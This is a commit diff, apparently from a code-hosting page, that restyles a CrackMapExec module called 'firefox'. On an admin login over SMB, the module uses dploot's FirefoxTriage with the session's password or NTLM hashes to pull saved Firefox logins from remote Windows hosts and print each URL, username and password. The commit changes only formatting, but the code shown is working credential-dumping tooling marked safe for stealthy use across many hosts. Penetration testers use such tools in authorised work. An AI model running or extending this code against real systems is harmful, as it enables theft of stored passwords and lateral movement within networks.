update usage for Firefox module
parent
5682b19bd5
commit
ac563f1b91
|
@ -2,21 +2,21 @@
|
|||
from dploot.lib.target import Target
|
||||
from cme.protocols.smb.firefox import FirefoxTriage
|
||||
|
||||
class CMEModule:
|
||||
'''
|
||||
Firefox by @zblurx
|
||||
Inspired by firefox looting from DonPAPI
|
||||
https://github.com/login-securite/DonPAPI
|
||||
'''
|
||||
name = 'firefox'
|
||||
description = 'Dump credentials from firefox'
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe= True #Does the module touch disk?
|
||||
multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Firefox by @zblurx
|
||||
Inspired by firefox looting from DonPAPI
|
||||
https://github.com/login-securite/DonPAPI
|
||||
"""
|
||||
name = 'firefox'
|
||||
description = 'Dump credentials from Firefox'
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
|
||||
"""Dump credentials from Firefox"""
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
@ -30,7 +30,6 @@ class CMEModule:
|
|||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
|
@ -49,6 +48,6 @@ class CMEModule:
|
|||
firefox_triage.upgrade_connection(connection=connection.conn)
|
||||
firefox_credentials = firefox_triage.run()
|
||||
for credential in firefox_credentials:
|
||||
context.log.highlight("[%s][FIREFOX] %s %s:%s" % (credential.winuser, credential.url+' -' if credential.url!= '' else '-', credential.username, credential.password))
|
||||
context.log.highlight("[%s][FIREFOX] %s %s:%s" % (credential.winuser, credential.url+' -' if credential.url != '' else '-', credential.username, credential.password))
|
||||
except Exception as e:
|
||||
context.log.debug("Error while looting firefox: {}".format(e))
|
||||
|
|
Loading…
Reference in New Issue